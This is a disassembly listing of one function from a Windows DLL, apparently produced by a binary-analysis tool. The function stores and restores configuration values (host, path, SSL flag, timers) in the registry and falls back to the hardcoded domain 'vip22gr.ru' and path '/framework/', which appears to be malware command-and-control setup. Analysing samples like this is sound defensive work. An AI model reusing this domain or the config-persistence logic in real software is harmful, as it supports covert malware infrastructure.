Function at 0x10006c50
Capabilities:
Delete registry value
Query or enumerate registry value
Set registry value

Disassembly:
sub esp, 0x118
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push esi
mov esi, dword [esp + 0x124]
push edi
test esi, esi
je 0x10006c8e
mov eax, dword [esi + 4]
mov edi, dword [sym.imp.KERNEL32.dll_HeapFree]
test eax, eax
je 0x10006c7f
push eax
push 0
call ebp
push eax
call edi
mov eax, dword [esi + 0xc]
test eax, eax
je 0x10006c8e
push eax
push 0
call ebp
push eax
call edi
cmp dword [esp + 0x12c], 0
jne 0x10006ed2
mov edi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
test esi, esi
jne 0x10006cb3
push str.Time
push dword [0x1000e0cc]
call edi
lea eax, [esp + 0xc]
mov dword [esp + 0xc], 0x105
push eax
lea eax, [esp + 0x20]
mov dword [esp + 0x14], 1
push eax
lea eax, [esp + 0x18]
mov ecx, str.HostC
push eax
test esi, esi
mov eax, str.HostN
push 0
cmovne eax, ecx
push eax
push dword [0x1000e0cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10006d12
push str.vip22gr.ru
lea eax, [esp + 0x20]
push 0x1000a69c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [esp + 0xc], eax
jmp 0x10006d16
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
je 0x10006d4e
inc eax
push eax
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
lea ecx, [esp + 0x24]
mov dword [esi + 4], eax
push ecx
push eax
call sub.NTDLL.dll_RtlMoveMemory
mov eax, dword [esp + 0x10]
mov dword [esi], eax
mov eax, dword [esi + 4]
mov dword [esi + 8], eax
jmp 0x10006d7e
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc eax
push eax
lea eax, [esp + 0x24]
push eax
push 1
push 0
push str.HostC
push dword [0x1000e0cc]
call ebx
push str.HostN
push dword [0x1000e0cc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x105
push eax
lea eax, [esp + 0x24]
mov dword [esp + 0x18], 1
push eax
lea eax, [esp + 0x1c]
mov ecx, str.PathC
push eax
test esi, esi
mov eax, str.PathN
push 0
cmovne eax, ecx
push eax
push dword [0x1000e0cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x10006ddd
push str._framework_
lea eax, [esp + 0x24]
push 0x1000a69c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov dword [esp + 0x10], eax
jmp 0x10006de1
mov eax, dword [esp + 0x10]
inc eax
push eax
test esi, esi
je 0x10006e06
push 8
call ebp
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push dword [esp + 0x10]
lea ecx, [esp + 0x24]
mov dword [esi + 0xc], eax
push ecx
push eax
call sub.NTDLL.dll_RtlMoveMemory
jmp 0x10006e29
lea eax, [esp + 0x24]
push eax
push 1
push 0
push str.PathC
push dword [0x1000e0cc]
call ebx
push str.PathN
push dword [0x1000e0cc]
call edi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 4
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x18], 4
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x20], 0
push eax
mov ecx, str.SSLC
test esi, esi
push 0
mov eax, str.SSLN
cmovne eax, ecx
push eax
push dword [0x1000e0cc]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov ecx, dword [esp + 0x18]
xor edx, edx
test eax, eax
push 4
cmovne ecx, edx
mov dword [esp + 0x1c], ecx
test esi, esi
je 0x10006eae
lea eax, [esp + 0x20]
mov dword [esi + 0x10], ecx
push eax
push 4
push edx
push str.Next
push dword [0x1000e0cc]
mov dword [esp + 0x34], 0xc
call ebx
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x118
ret
lea eax, [esp + 0x1c]
push eax
push 4
push 0
push str.SSLC
push dword [0x1000e0cc]
call ebx
push str.SSLN
push dword [0x1000e0cc]
call edi
pop ebx
pop edi
pop esi
pop ebp
add esp, 0x118
ret